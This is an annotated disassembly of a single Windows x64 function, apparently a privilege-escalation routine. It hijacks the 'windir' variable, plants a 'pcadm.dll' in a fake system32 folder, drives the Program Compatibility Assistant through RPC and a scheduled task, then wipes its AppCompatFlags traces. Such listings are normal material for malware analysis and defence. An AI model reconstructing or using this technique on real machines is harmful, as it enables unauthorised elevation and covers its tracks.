Function at 0x140015654
Capabilities:
Create directory
Create process on windows
Create process suspended
Delete directory
Delete file
Map section object
Resume thread
Terminate process

Disassembly:
jmp 0x140022c30
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1a78
call fcn.14001521c
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x50a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a98]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x1a10], rax
lea rcx, [0x140078cb5]
call fcn.140015b09
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 1
mov dword [rbp + 0x84], 0
mov dword [rbp + 0xc4], 0xc0000022
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x168], 0x1000
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1c8], 0
mov eax, 0x1a
mov word [rbp + 0x1e8], ax
mov eax, 0x1c
mov word [rbp + 0x1ea], ax
lea rax, str.taskhostw.exe
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x218], 0
mov qword [rbp + 0x318], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x104], eax
mov edx, 0x410
lea rcx, [rbp + 0x3e0]
call fcn.1400157e4
mov edx, 0x410
lea rcx, [rbp + 0xc40]
call fcn.1400157e4
mov edx, 0x18
lea rcx, [rbp + 0x2e8]
call fcn.1400157e4
mov edx, 0x68
lea rcx, [rbp + 0x260]
call fcn.1400157e4
lea rcx, str.PcaSvc
call fcn.1400151b8
movzx eax, al
test eax, eax
jne 0x140022d95
jmp 0x1400235bf
mov rax, qword [0x140070bf8]
cmp dword [rax + 8], 0x23f0
jae 0x140022dac
mov dword [rbp + 0x64], 0
mov edx, 0x80
lea rcx, [rbp + 0x1070]
call fcn.1400157e4
call qword [sym.imp.KERNEL32.dll_GetTickCount]
not eax
mov dword [rbp + 0xa4], eax
lea rcx, [rbp + 0xa4]
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x338], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 0xa4], eax
lea rcx, [rbp + 0xa4]
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x33c], eax
lea rdx, [rbp + 0x1070]
mov rcx, qword [rbp + 0x338]
call fcn.140015686
lea rdx, str..exe
lea rcx, [rbp + 0x1070]
call fcn.140015a96
mov edx, 0x208
lea rcx, [rbp + 0x1130]
call fcn.1400157e4
lea rdx, str.Sessions_
lea rcx, [rbp + 0x1130]
call fcn.1400151ea
lea rcx, [rbp + 0x1130]
call fcn.140015b86
mov qword [rbp + 0x1a08], rax
call fcn.140015609
mov rcx, qword [rbp + 0x1a08]
mov rdx, rcx
mov ecx, dword [rax + 0x2c0]
call fcn.140015799
lea rdx, str.BaseNamedObjects_
lea rcx, [rbp + 0x1130]
call fcn.140015a96
lea rcx, [rbp + 0x1130]
call fcn.140015b86
mov rdx, rax
mov cx, 0x3066
call fcn.140015073
mov qword [rbp + 0x338], 0x1000
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0x3a8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rbp + 0x358], 0x30
mov qword [rbp + 0x360], 0
mov dword [rbp + 0x370], 0x40
lea rax, [rbp + 0x3a8]
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x380], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x338]
lea r8, [rbp + 0x358]
mov edx, 0xf001f
lea rcx, [rbp + 0x188]
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jl 0x140022f53
cmp qword [rbp + 0x188], 0
jne 0x140022f58
jmp 0x1400235bf
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0x100000
mov dword [rsp + 0x38], 2
lea rax, [rbp + 0x168]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0x1000
xor r9d, r9d
lea r8, [rbp + 0x318]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jl 0x140022fc5
cmp qword [rbp + 0x318], 0
jne 0x140022fca
jmp 0x1400235bf
lea rdx, str.BaseNamedObjects_
lea rcx, [rbp + 0x1130]
call fcn.1400151ea
lea rcx, [rbp + 0x1130]
call fcn.140015b86
mov rdx, rax
mov cx, 0x3166
call fcn.140015073
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0x3a8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rbp + 0x358], 0x30
mov qword [rbp + 0x360], 0
mov dword [rbp + 0x370], 0x40
lea rax, [rbp + 0x3a8]
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x380], 0
mov byte [rsp + 0x20], 0
mov r9d, 1
lea r8, [rbp + 0x358]
mov edx, 0x1f0003
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtCreateEvent]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jl 0x140023089
cmp qword [rbp + 0x1a8], 0
jne 0x14002308e
jmp 0x1400235bf
lea rdx, str.ResolutionHost
lea rcx, str.MicrosoftWindowsWDI
call fcn.140015271
test eax, eax
jne 0x1400230aa
jmp 0x1400235bf
call fcn.140015609
lea r8, [rbp + 0x1e8]
lea rdx, [0x14001590b]
mov ecx, dword [rax + 0x2c0]
call fcn.1400157da
mov rax, qword [0x140070bf8]
add rax, 0x686
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.1400151ea
lea rdx, str.system32
lea rcx, [rbp + 0x3e0]
call fcn.140015a96
lea rcx, [rbp + 0x3e0]
call fcn.14001528a
mov qword [rbp + 0x128], rax
xor edx, edx
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14002312f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14002312f
jmp 0x1400235bf
mov dword [rbp + 0x24], 1
xor r9d, r9d
lea r8, str.MpManagerStatusQueryEx
mov edx, dword [rbp + 0x1a48]
mov rcx, qword [rbp + 0x1a40]
call fcn.140015681
test eax, eax
jne 0x14002315b
jmp 0x1400235bf
mov rax, qword [rbp + 0x128]
shl rax, 1
mov qword [rbp + 0x1958], rax
cmp qword [rbp + 0x1958], 0x410
jae 0x14002317b
jmp 0x140023180
call fcn.140015811
xor eax, eax
mov rcx, qword [rbp + 0x1958]
mov word [rbp + rcx + 0x3e0], ax
lea rdx, [0x14004a640]
lea rcx, [rbp + 0x3e0]
call fcn.140015a96
lea rdx, str.pcadm.dll
lea rcx, [rbp + 0x3e0]
call fcn.140015a96
mov r8d, dword [rbp + 0x1a48]
mov rdx, qword [rbp + 0x1a40]
lea rcx, [rbp + 0x3e0]
call fcn.140015127
test eax, eax
jne 0x1400231da
jmp 0x1400235bf
mov r9d, 1
lea r8, str.MpManagerStatusQuery
mov edx, dword [rbp + 0x1a48]
mov rcx, qword [rbp + 0x1a40]
call fcn.140015681
test eax, eax
jne 0x140023202
jmp 0x1400235bf
mov rax, qword [0x140070bf8]
add rax, 0x686
mov rdx, rax
lea rcx, [rbp + 0xc40]
call fcn.1400151ea
lea rdx, [rbp + 0x1070]
lea rcx, [rbp + 0xc40]
call fcn.140015a96
mov r8d, dword [rbp + 0x1a48]
mov rdx, qword [rbp + 0x1a40]
lea rcx, [rbp + 0xc40]
call fcn.140015127
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140023259
jmp 0x1400235bf
mov rax, qword [rbp + 0x318]
add rax, 4
lea rdx, [rbp + 0xc40]
mov rcx, rax
call fcn.1400151ea
mov rax, qword [0x140070bf8]
add rax, 0x686
mov rdx, rax
lea rcx, [rbp + 0x810]
call fcn.1400151ea
lea rcx, [rbp + 0x810]
call fcn.14001528a
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
movzx eax, word [rbp + rax*2 + 0x80e]
cmp eax, 0x5c
jne 0x1400232ee
mov rax, qword [rbp + 0x148]
lea rax, [rax + rax - 2]
mov qword [rbp + 0x1978], rax
cmp qword [rbp + 0x1978], 0x410
jae 0x1400232d8
jmp 0x1400232dd
call fcn.140015811
xor eax, eax
mov rcx, qword [rbp + 0x1978]
mov word [rbp + rcx + 0x810], ax
lea r9, [rbp + 0x810]
lea r8, str.windir
xor edx, edx
xor ecx, ecx
call fcn.14001500f
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140023313
jmp 0x1400235bf
cmp dword [rbp + 0x64], 0
je 0x140023325
mov dword [rbp + 0x1a04], 0x31
jmp 0x14002332f
mov dword [rbp + 0x1a04], 0x33
mov eax, 2
imul rax, rax, 0
movzx ecx, word [rbp + 0x1a04]
mov word [rbp + rax + 0x1104], cx
mov qword [rbp + 0x1998], 2
cmp qword [rbp + 0x1998], 4
jae 0x14002335e
jmp 0x140023363
call fcn.140015811
xor eax, eax
mov rcx, qword [rbp + 0x1998]
mov word [rbp + rcx + 0x1104], ax
cmp dword [rbp + 0x64], 0
je 0x1400233db
mov ecx, 0x80
call fcn.1400154c4
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
jne 0x14002339a
jmp 0x1400235bf
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x30], rax
mov word [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000004
xor r9d, r9d
lea r8, [rbp + 0x1104]
lea rdx, [rbp + 0xc40]
mov rcx, qword [rbp + 0x1c8]
call fcn.140015bbd
mov qword [rbp + 0x2e8], rax
jmp 0x140023442
mov dword [rbp + 0x260], 0x68
lea rax, [rbp + 0x2e8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1104]
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140023442
jmp 0x1400235bf
cmp qword [rbp + 0x2e8], 0
jne 0x140023451
jmp 0x1400235bf
lea rdx, [rbp + 0x218]
lea rcx, str.0767a036_0d22_48aa_ba69_b619480f38cb
call fcn.1400153d9
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0
jne 0x140023523
cmp dword [rbp + 0x64], 0
je 0x1400234dc
mov rax, qword [0x140070bf8]
add rax, 0x686
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1104]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xc40]
xor r8d, r8d
mov rdx, qword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x218]
call fcn.140015a28
mov dword [rbp + 0x234], eax
jmp 0x1400234da
jmp 0x140023516
mov r9d, dword [rbp + 0x2f8]
mov r8d, 1
lea rdx, [rbp + 0xc40]
mov rcx, qword [rbp + 0x218]
call fcn.1400151c2
mov dword [rbp + 0x234], eax
jmp 0x140023516
lea rcx, [rbp + 0x218]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
cmp dword [rbp + 0x234], 0
je 0x140023531
jmp 0x1400235bf
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [rbp + 0x64], 0
je 0x140023575
lea rdx, [rbp + 0x84]
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x84], 0
je 0x140023575
jmp 0x1400235bf
mov edx, 0x4e20
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [rbp + 0x318]
cmp dword [rax], 3
jne 0x14002359f
mov dword [rbp + 0x1a04], 0
jmp 0x1400235a9
mov dword [rbp + 0x1a04], 0xc0000022
mov eax, dword [rbp + 0x1a04]
mov dword [rbp + 0xc4], eax
xor eax, eax
test eax, eax
jne 0x140022d7d
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rbp + 0x2f0], 0
je 0x1400235e1
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x2e8], 0
je 0x140023607
xor edx, edx
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x1a8], 0
je 0x14002361e
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0x318], 0
je 0x14002363c
mov rdx, qword [rbp + 0x318]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
cmp qword [rbp + 0x188], 0
je 0x140023653
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ntdll.dll_NtClose]
cmp dword [rbp + 4], 0
je 0x14002366f
xor r9d, r9d
lea r8, str.windir
xor edx, edx
mov ecx, 1
call fcn.1400150d2
cmp dword [rbp + 0x64], 0
je 0x140023691
lea r8, [rbp + 0x1070]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore
mov rcx, 0xffffffff80000001
call fcn.140015b9f
jmp 0x1400236c5
lea r8, [rbp + 0x1070]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
mov rcx, 0xffffffff80000002
call fcn.140015b9f
lea r8, [rbp + 0x1070]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted
mov rcx, 0xffffffff80000001
call fcn.140015b9f
cmp dword [rbp + 0x44], 0
je 0x1400236d8
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [rbp + 0x24], 0
je 0x14002372e
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [rbp + 0x128]
shl rax, 1
mov qword [rbp + 0x19b8], rax
cmp qword [rbp + 0x19b8], 0x410
jae 0x14002370b
jmp 0x140023710
call fcn.140015811
xor eax, eax
mov rcx, qword [rbp + 0x19b8]
mov word [rbp + rcx + 0x3e0], ax
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
cmp dword [rbp + 0x104], 0
jl 0x14002373d
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [rbp + 0xc4], 0
je 0x14002374b
call fcn.140015154
mov eax, dword [rbp + 0xc4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140049930]
call fcn.14001595b
mov rax, rdi
mov rcx, qword [rbp + 0x1a10]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x1a28]
pop rdi
pop rbp
ret